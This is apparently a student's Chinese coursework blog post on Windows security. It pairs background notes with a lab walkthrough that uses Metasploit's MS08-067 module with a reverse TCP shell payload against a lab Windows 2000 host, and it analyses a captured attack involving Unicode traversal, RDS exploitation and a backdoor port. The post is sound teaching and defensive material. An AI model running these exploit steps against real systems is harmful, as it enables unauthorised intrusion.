zoukankan      html  css  js  c++  java
  • 20199316 2019-2020-2 《网络攻防实践》第7周作业

    20199316 2019-2020-2 《网络攻防实践》第7周作业

    1.实践内容

    1.1 Windows操作系统基本结构

    • 操作系统内核运行于处理器特权模式(ring0)

    • 用户空间代码运行在处理器非特权模式(ring3)

    1.2.1 Windows操作系统内核的基本模块

    • Windows执行体
      即Windows内核核心文件ntoskrnl.exe的上层接口

    • Windows内核体
      即Windows内核核心文件ntoskrnlexe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能。

    • 设备驱动程序
      包括将用户I/O操作映射为特定硬件设备UO请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。

    • 硬件抽象层
      即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。

    • Windows窗口与图形界面接口内核实现代码
      即win32k.sys文件。

    1.2.2 Windows操作系统在用户态的代码模块

    • 系统支持进程
      Windows开机自动启动的系统内建服务进程。

    • 环境子系统服务进程
      为操作系统运行环境提供支持的服务进程。

    • 服务进程
      通过Windows的服务管理机制所启动的一系列系统及网络服务。

    • 用户应用软件
      在用户态执行的各类用户应用软件。

    • 核心子系统DLL
      即kernel32.dll /user32.dIl /gdi32.dll /advapi32.dll等动态连接库文件。

    1.2.3 Windows内存管理机制
    Windows的虚拟内存空间分为系统核心内存区与用户内存区间两部分。

    • 系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象。

    • 用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。

    1.2.4 Windows注册表管理机制

    • Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。

    • Windows注册表可通过系统自带的regedit.exe注册表查找编辑工具或其他第三方工具进行访问与修改,并可使用RegMon等工具盟控系统的注册表读写操作。

    2.1 Windows安全体系结构

    • Windows操作系统基于引用监控器模型(ReferenceMonitor)来实现基本的对象安全模型。

    • 引用监控器模型如图所示,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。

    2.2 windows三个基本安全功能特性

    • Windows身份认证机制
      Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象
      有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。

    • Windows的授权与访问控制机制
      Windows的授权与访问控制机制是基于引用监控器模型。Windows对于系统中所有需保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成。

    1.OwnerSID:对象所有者的SID安全标识符。

    2.GroupSID:对象所在基本用户组的SID安全标识符(兼容POSIX使用)。

    3.DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象。

    4.SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。

    • Windows安全审计机制
      Windows安全审计机制的实现方式:系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。
    1. Windows远程安全攻防技术
      目前Windows远程攻击技术可以分为以下几大类:
    • 远程口令猜测与破解攻击
      远程渗透攻击Windows系统最简单的方法仍然是猜测或破解出系统的登录口令。

    • 攻击Windows网络服务
      Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。

    • 攻击Windows客户端及用户
      针对Web浏览器、第三方应用软件的客户端渗透攻击变得非常流行,此外,攻击者还会结合社会工程学技巧诱骗终端用户来帮助他们执行伪装目的的恶意代码或流氓软件。

    4.1 Windows本地特权提升

    • 特权提升途径:

    1.DLL注入

    2.破解本地程序安全漏洞

    • 防范措施:

    1.及时给系统打补丁

    2.系统管理员及时跟踪软件产商安全警告

    4.2 windows敏感信息窃取

    • 本地口令字破解:

    1.windows系统口令字密文提取技术

    2.windows系统口令字破解技术

    3.用户敏感信息窃取

    • 防范措施:

    1.使用更安全的加密算法保护明文口令字

    2.通过安全配置策略避免缓存关键服务器的敏感登录口令信息

    4.3 Windows消踪灭迹
    1.关闭审计功能

    2.清理事件日志

    • 防范措施:

    1.将Windows服务器的日志记录到不可擦写的CDROM中

    2.或者通过网络传输到安全的日志服务器中

    3.也可以采用定期备份的方式进行固化保全

    4.4 Windows远程控制与后门
    攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。

    • 防范措施:
      防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

    2.实践过程

    主机 ip地址
    A_kali 192.168.200.2
    B_B_win2k server 192.168.200.124

    实践一

    1:在kali打开metasploit,输入 msfconsole ,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞。

    search ms08_067    //search+漏洞名字
    use exploit/windows/smb/ms08_067_netapi
    

    2:选择攻击负载模块,可以通过输入 show payloads ,然后找到你要用的攻击负载模块,kali大概有100多个选择3反转tcp,注意,这一步一定要先show完payload,出现列表后再输入 set PAYLOAD generic/shell_reverse_tcp

    3:然后设置攻击目标,通过命令 set RHOST 192.168.200.124,设置攻击地址,通过命令 set LHOST 192.168.200.2

    4:设置目标操作系统平台类型,这个选择0就行,0代表自动匹配

    set TARGET 0
    

    5:输入 exploit 开始攻击。攻击结果如下图

    6:攻击成功后,发现进入了靶机的cmd页面上,那么说明我们进入了靶机,可以输入ipconfig查看一下靶机ip,验证了我们的攻击是否成功。

    实践二


    1:首先用wireshark打开那个.log文件。发现有很多http报文。先使用wireshark自带的统计工具,点击 统计->http->请求 。就会得到下图。我们知道,访问网页的时候,会从网页服务器下载很多文件到本地,从这个统计图可以看到。那个框出的部分应该就是这次的攻击代码了。


    2:接下来设置限定条件为:ip.addr==172.16.1.106 and http。然后就开始往下翻。编号为117的这一行发现有一些奇怪的路径,如下图。

    这个boot.ini是NT系统的启动文件。而前面的..%c0af..查阅资料后得知,这是"/"的Unicode编码。
    3:再往下看,我们可以看到攻击者试图向服务器获取一个msadcs.dll文件。

    4:攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据ADM!ROX..以及那个mdb。

    5:然后攻击者就成功进入了系统。往下拉,可以看到攻击者建立了一个ftp连接。输入了用户名密码,并且下载了几个文件。

    6:然后攻击者连接6969端口,获得了访问权限

    7:从1444编号开始,攻击机发起了多次SQL注入攻击,我们发现数据部分不太一样。图中出现了一个pdumo.exe。

    8:然后在编号2339追踪http流,我们可以看到,根据add,他应该是想提升权限

    9:如何防止这些攻击

    • 首先是打补丁,漏洞一定会在官方补丁之后公开,及时打补丁就没有危害了。
    • 利用安全清单插件来固化网络
    • 通过漏洞扫描软件来标识存在的漏洞
    • 网站根目录和系统目录进行物理隔离。

    实践三


    1:攻击步骤跟实践1是一样的,攻击的漏洞依然是ms08_067漏洞,这里不在赘述了。我们要做的就是在攻击机输入exploit之后,敲回车之前,wireshark实时监听经过网卡的数据包。由于靶机没有wireshark,所以我选择用kali上的wireshark监听。效果一样的。
    从下图可以看出攻击者ip地址192.168.200.2,端口34869,靶机ip地址192.168.200.124,端口445等信息

    2:可见攻击从ARP开始,由192.168.200.2 39614端口到192.168.200.124 445端口,MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据这么多SMB数据包可以推断出,是利用这个漏洞攻击的

    3:然后这时候我们在攻击机输入个ipconfig命令,会显示如下结果。

    3.学习中遇到的问题及解决

    • 问题1:一开始跳过了use exploit/windows/smb/ms08_067_netapi,做到最后发现无法exploit,还是自己太年轻,不求甚解。。。。
    • 问题1解决方案:search之后use exploit/windows/smb/ms08_067_netapi。

    4.实践总结

    实验二太难了。。。面对一个log文件完全无从下手,看了大佬的分析才跟着一步步分析下来。感觉理论基础不够用,即使做了下来也有很多不理解的地方,时间有限而作业无穷矣= =。

    参考资料

  • 相关阅读:
    C#设计一个简单的计算器,实现两个数的加,减,乘,除,求幂等计算,运行效果如下图所示:
    如何用C#中的窗体设计一款只含有加减乘除,求平方的简易版计算器?
    番外篇科普为什么1024是程序员日?2020年10月24日,程序员为啥都不放假?
    VS2019基础,C#编辑窗体时,工具箱如何调用,工具箱挡住窗体怎么办,如何改窗体名字
    C++用函数重载实现两个整数和三个浮点数的排序,按照从小到大的顺序将排序结果输出
    C++用引用形参实现两个变量的值互换
    C++用带有默认参数的函数实现,求2个或3个正整数中的最大数
    linux服务器磁盘速度测试
    CSS HACK收集
    分享一个web页面背景全屏的jquery插件Fullscreen Background
  • 原文地址:https://www.cnblogs.com/destiny-love/p/12691449.html
Copyright © 2011-2022 走看看